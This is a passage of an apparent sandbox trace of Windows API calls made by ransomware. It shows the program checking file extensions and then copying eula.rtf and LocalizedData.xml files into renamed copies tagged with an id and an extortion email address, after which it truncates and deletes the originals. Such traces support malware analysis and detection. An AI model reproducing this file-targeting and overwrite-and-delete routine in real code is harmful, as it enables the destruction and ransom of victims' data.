lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString=".bz2") returned 4 [0052.447] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString=".7z") returned 3 [0052.447] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.447] lstrlenW (lpString=".dbf") returned 4 [0052.447] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.447] lstrlenW (lpString=".1cd") returned 4 [0052.447] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.447] lstrlenW (lpString=".jpg") returned 4 [0052.447] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.447] lstrlenW (lpString=".doc") returned 4 [0052.447] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString=".docx") returned 5 [0052.447] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.447] lstrlenW (lpString=".pdf") returned 4 [0052.447] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString=".xls") returned 4 [0052.447] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.447] lstrlenW (lpString=".xlsx") returned 5 [0052.447] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.447] lstrlenW (lpString=".ppt") returned 4 [0052.447] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.447] lstrlenW (lpString=".zip") returned 4 [0052.447] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.447] lstrlenW (lpString=".rar") returned 4 [0052.447] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.448] lstrlenW (lpString=".bz2") returned 4 [0052.448] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.448] lstrlenW (lpString=".7z") returned 3 [0052.448] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.448] lstrlenW (lpString=".dbf") returned 4 [0052.448] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.448] lstrlenW (lpString=".1cd") returned 4 [0052.448] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0052.448] lstrlenW (lpString=".jpg") returned 4 [0052.448] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.448] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.448] lstrlenW (lpString="eula.rtf") returned 8 [0052.448] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.448] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10125) returned 1 [0052.448] CloseHandle (hObject=0x30c) returned 1 [0052.448] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0052.449] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.449] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.449] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.449] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.449] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0052.449] GetLastError () returned 0x0 [0052.449] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x278d, lpOverlapped=0x0) returned 1 [0052.451] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2790, lpOverlapped=0x0) returned 1 [0052.452] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.452] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.452] SetEndOfFile (hFile=0x310) returned 1 [0052.452] CloseHandle (hObject=0x310) returned 1 [0052.453] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.453] SetEndOfFile (hFile=0x30c) returned 1 [0052.453] CloseHandle (hObject=0x30c) returned 1 [0052.454] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.458] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0052.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.458] lstrlenW (lpString=".doc") returned 4 [0052.458] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.458] lstrlenW (lpString=".docx") returned 5 [0052.458] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.458] lstrlenW (lpString=".pdf") returned 4 [0052.458] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.458] lstrlenW (lpString=".xls") returned 4 [0052.458] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.458] lstrlenW (lpString=".xlsx") returned 5 [0052.458] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.458] lstrlenW (lpString=".ppt") returned 4 [0052.458] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.458] lstrlenW (lpString=".zip") returned 4 [0052.458] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.458] lstrlenW (lpString=".rar") returned 4 [0052.458] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.458] lstrlenW (lpString=".bz2") returned 4 [0052.458] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.458] lstrlenW (lpString=".7z") returned 3 [0052.458] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.458] lstrlenW (lpString=".dbf") returned 4 [0052.459] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.459] lstrlenW (lpString=".1cd") returned 4 [0052.459] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.459] lstrlenW (lpString=".jpg") returned 4 [0052.459] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.459] lstrlenW (lpString=".doc") returned 4 [0052.459] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString=".docx") returned 5 [0052.459] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.459] lstrlenW (lpString=".pdf") returned 4 [0052.459] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString=".xls") returned 4 [0052.459] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.459] lstrlenW (lpString=".xlsx") returned 5 [0052.459] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.459] lstrlenW (lpString=".ppt") returned 4 [0052.459] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.459] lstrlenW (lpString=".zip") returned 4 [0052.459] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.459] lstrlenW (lpString=".rar") returned 4 [0052.459] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString=".bz2") returned 4 [0052.459] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.459] lstrlenW (lpString=".7z") returned 3 [0052.459] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.459] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.459] lstrlenW (lpString=".dbf") returned 4 [0052.459] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.460] lstrlenW (lpString=".1cd") returned 4 [0052.460] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.460] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0052.460] lstrlenW (lpString=".jpg") returned 4 [0052.460] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.460] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.460] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.460] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=68226) returned 1 [0052.460] CloseHandle (hObject=0x30c) returned 1 [0052.460] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0052.460] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.461] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.461] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.461] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0052.461] GetLastError () returned 0x0 [0052.461] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0052.465] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0052.466] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.467] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.467] SetEndOfFile (hFile=0x310) returned 1 [0052.467] CloseHandle (hObject=0x310) returned 1 [0052.469] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.469] SetEndOfFile (hFile=0x30c) returned 1 [0052.470] CloseHandle (hObject=0x30c) returned 1 [0052.470] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.471] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0052.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.471] lstrlenW (lpString=".doc") returned 4 [0052.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.471] lstrlenW (lpString=".docx") returned 5 [0052.471] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.471] lstrlenW (lpString=".pdf") returned 4 [0052.471] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.471] lstrlenW (lpString=".xls") returned 4 [0052.471] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.471] lstrlenW (lpString=".xlsx") returned 5 [0052.471] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.471] lstrlenW (lpString=".ppt") returned 4 [0052.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.471] lstrlenW (lpString=".zip") returned 4 [0052.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.471] lstrlenW (lpString=".rar") returned 4 [0052.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.471] lstrlenW (lpString=".bz2") returned 4 [0052.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.471] lstrlenW (lpString=".7z") returned 3 [0052.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.472] lstrlenW (lpString=".dbf") returned 4 [0052.472] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.472] lstrlenW (lpString=".1cd") returned 4 [0052.472] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.472] lstrlenW (lpString=".jpg") returned 4 [0052.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.472] lstrlenW (lpString=".doc") returned 4 [0052.472] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString=".docx") returned 5 [0052.472] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.472] lstrlenW (lpString=".pdf") returned 4 [0052.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString=".xls") returned 4 [0052.472] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString=".xlsx") returned 5 [0052.472] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.472] lstrlenW (lpString=".ppt") returned 4 [0052.472] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.472] lstrlenW (lpString=".zip") returned 4 [0052.472] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.472] lstrlenW (lpString=".rar") returned 4 [0052.472] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString=".bz2") returned 4 [0052.472] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.472] lstrlenW (lpString=".7z") returned 3 [0052.472] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.473] lstrlenW (lpString=".dbf") returned 4 [0052.473] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.473] lstrlenW (lpString=".1cd") returned 4 [0052.473] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0052.473] lstrlenW (lpString=".jpg") returned 4 [0052.473] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.473] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.473] lstrlenW (lpString="eula.rtf") returned 8 [0052.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.473] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=12687) returned 1 [0052.473] CloseHandle (hObject=0x30c) returned 1 [0052.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0052.474] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.474] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.474] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0052.474] GetLastError () returned 0x0 [0052.474] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x318f, lpOverlapped=0x0) returned 1 [0052.476] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x3190, lpOverlapped=0x0) returned 1 [0052.478] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.478] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.478] SetEndOfFile (hFile=0x310) returned 1 [0052.478] CloseHandle (hObject=0x310) returned 1 [0052.479] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.479] SetEndOfFile (hFile=0x30c) returned 1 [0052.480] CloseHandle (hObject=0x30c) returned 1 [0052.480] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.480] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0052.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.480] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.480] lstrlenW (lpString=".doc") returned 4 [0052.480] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.480] lstrlenW (lpString=".docx") returned 5 [0052.481] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.481] lstrlenW (lpString=".pdf") returned 4 [0052.481] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString=".xls") returned 4 [0052.481] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.481] lstrlenW (lpString=".xlsx") returned 5 [0052.481] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.481] lstrlenW (lpString=".ppt") returned 4 [0052.481] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.481] lstrlenW (lpString=".zip") returned 4 [0052.481] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.481] lstrlenW (lpString=".rar") returned 4 [0052.481] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString=".bz2") returned 4 [0052.481] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString=".7z") returned 3 [0052.481] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.481] lstrlenW (lpString=".dbf") returned 4 [0052.481] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.481] lstrlenW (lpString=".1cd") returned 4 [0052.481] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.481] lstrlenW (lpString=".jpg") returned 4 [0052.481] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.481] lstrlenW (lpString=".doc") returned 4 [0052.481] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.481] lstrlenW (lpString=".docx") returned 5 [0052.482] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.482] lstrlenW (lpString=".pdf") returned 4 [0052.482] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.482] lstrlenW (lpString=".xls") returned 4 [0052.482] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.482] lstrlenW (lpString=".xlsx") returned 5 [0052.482] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.482] lstrlenW (lpString=".ppt") returned 4 [0052.482] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.482] lstrlenW (lpString=".zip") returned 4 [0052.482] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.482] lstrlenW (lpString=".rar") returned 4 [0052.482] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.482] lstrlenW (lpString=".bz2") returned 4 [0052.482] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.482] lstrlenW (lpString=".7z") returned 3 [0052.482] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.482] lstrlenW (lpString=".dbf") returned 4 [0052.482] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.482] lstrlenW (lpString=".1cd") returned 4 [0052.482] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0052.482] lstrlenW (lpString=".jpg") returned 4 [0052.482] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 